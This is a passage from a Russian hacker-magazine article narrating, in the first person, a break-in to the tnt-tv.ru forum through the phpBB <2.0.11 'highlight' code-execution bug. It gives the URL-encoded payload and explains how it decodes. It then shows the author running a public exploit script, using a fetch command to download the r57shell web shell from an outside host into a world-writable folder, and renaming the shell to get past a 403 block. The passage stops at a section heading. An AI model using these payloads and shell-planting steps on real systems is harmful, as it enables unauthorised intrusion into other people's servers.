Тотальный дестрой “Дома 2” GreenwooD Хакер, номер #076, стр. 076-068-4 Ты, конечно, знаешь, что в phpBB < 2.0.11 присутствует огромное количество дырок, самая популярная из которых позволяет выполнять на сервере произвольный php-код. Бага находится в скрипте viewtopic.php в проверке переменной highlight. Для лучшего понимания ошибки советую тебе почитать доку www.securitylab.ru/49633.html, где ты ко всему прочему найдешь еще и эксплойт под этот баг. Что ж, вперед. Захожу по адресу http://www.tnt-tv.ru/forum/viewtopic.php?t=2726&highlight=%2527.$poster=%60$var%60.%2527&var=id и вижу, что все отлично срабатывает. Команда id выполняется успешно, права в системе – nobody! Вот это супер :). Опишу часть запроса, что бы было более понятно. %25 - это символ «%» в URI, сначала обрабатывается он, после этого получаем %27, а это уже символ «’» одинарной кавычки в URI. Затем $poster - это переменная, которая принимает значение ника пользователя, отправившего сообщение. %60 это символ «`» $var это переменная в которую я передам значение необходимой мне команды для исполнения. В итоге если декодировать из URI в обычный вид запрос примет следующий вид: viewtopic.php?t=2726&highlight=’.$poster=`$var`.’&var=id Опишу его смысл. Переменной $poster присваивается результат выполнения команды, которая находится в переменной $var (обрамление обратными кавычками означает, что будет исполнена команда, заключенная между ними). Что ж, это уже кардинально меняет дело! Пользоваться уязвимостью через браузер не очень удобно, поэтому я воспользовался эксплоитом от rst. Слив эксплоит, я немного модифицировал его, чтобы он работал через проксик. Быстренько это провернув, я запустил сплойт: r57phpbb2010.pl www.tnt-tv.ru /forum/ 2726 "ls -la" В результате мне вернулся листинг директории со всеми атрибутами. Папка images оказывается открытой на запись абсолютно для всех. Ну что ж, это прекрасно. При помощи команды cd images; fetch http://rst.void.ru/download/r57shell.zip; unzip r57shell.zip, я заливаю на сервер полноценный web-шелл r57shell.php. Кажется, что все просто супер, однако возникает неожиданная проблема: когда я пробую зайти браузером на www.tnt-tv.ru/forum/images/r57shell.php, сервер выдает ошибку 403 (Forbiden). Значит не все так просто. Немного подумав, я предположил, что это видимо какая-то хитрая настройка web-сервера, или IDS. Мои подозрения усилились, когда не заработал даже элементарный сценарий, который я загрузил в папку Images. Тогда я решил проверить одну идею. Как известно, Apache расширение файла определяет по трем последним символам после точки. Значит, если, например, файл r57shell.php переименовать в r57shell.php.2 то ничего не изменится. Такой способ и был испробован. Для этого я выполнил следующую команду: cd images; mv r57shell.php r57shell.php.2 После этого, когда я зашел по адресу www.tnt-tv.ru/forum/images/r57shell.php.2, скрипт нормально заработал. Постепенно я стал приближаться к своей цели. Локальное путешествие |